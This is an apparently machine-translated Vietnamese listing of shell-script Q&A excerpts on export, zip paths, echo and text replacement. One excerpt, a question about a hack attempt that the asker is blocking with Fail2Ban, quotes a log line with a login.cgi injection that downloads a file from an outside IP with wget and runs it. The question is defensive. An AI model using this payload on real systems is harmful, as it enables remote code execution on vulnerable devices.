Câu hỏi được gắn thẻ «shell-script»

Tập lệnh shell là tập lệnh được viết cho trình bao hoặc trình thông dịch dòng lệnh của hệ điều hành.




3
Xuất khẩu làm gì trong BASH? [bản sao]
Bản sao có thể có: Sự khác biệt giữa xuất bản a = b và xuất khẩu a = bv trong bash Thật khó để thừa nhận, nhưng tôi chưa bao giờ thực sự hiểu chính xác những gì exportlàm với một biến môi trường. Tôi biết rằng nếu tôi …

15
Làm cách nào để thực thi tệp .sh trên Windows?
Khi tôi đang cố thực thi một tệp (name.sh) trong dòng lệnh bằng lệnh ./name.sh, tôi nhận được lỗi rằng: "." không được công nhận là một lệnh nội bộ hoặc bên ngoài, tệp có thể hoạt động hoặc bó vui lòng giúp tôi thực hiện tập tin .sh



3
Tránh đường dẫn không mong muốn trong tệp Zip
Tôi đang tạo một kịch bản shell để đóng gói một số tệp. Tôi đang nén một thư mục như thế này: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Vấn đề là kho lưu trữ out.zip kết quả có toàn bộ đường dẫn tệp trong đó. Đó là, khi được giải nén, nó …
49 macos  bash  zip  path  shell-script 


2
Có gì sai với tiếng vang tiếng vang $ (thứ)
Tôi đã sử dụng một trong những điều sau đây echo $(stuff) echo `stuff` (nơi stuffđược ví dụ pwdhoặc datehoặc một cái gì đó phức tạp hơn). Sau đó, tôi đã nói cú pháp này là sai, một thực tiễn xấu, không thanh lịch, quá mức, dư thừa, quá phức …
31 shell-script  sh  echo 

2
Kịch bản bash này làm gì? [Nỗ lực hack]
Tôi đã nhận thấy trên nhật ký apache máy chủ của tôi, những dòng lạ sau đây: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Vì vậy, tôi đã tạo bộ lọc Fail2Ban tùy chỉnh và bắt đầu cấm các IP yêu cầu các URL /login.cgi …


2
Shell script lặp lại dòng mới vào tập tin
Tôi muốn lặp lại một dòng mới vào một tệp ở giữa các biến trong tập lệnh shell. Đây là mã của tôi: var1 = "Xin chào" var2 = "Thế giới!" logwrite = "$ var1 [Đây là nơi tôi muốn chèn một dòng mới] $ var2 tiếng vang "$ logwrite" …

4
Làm cách nào để thay thế một phần của tệp văn bản giữa các điểm đánh dấu bằng một tệp văn bản khác?
Nói rằng tôi có một tệp văn bản như thế này: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Tôi muốn thay thế phần giữa các GENERATED CONTENTthẻ bằng nội dung của tệp khác. Cách đơn giản nhất để làm điều này …


Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.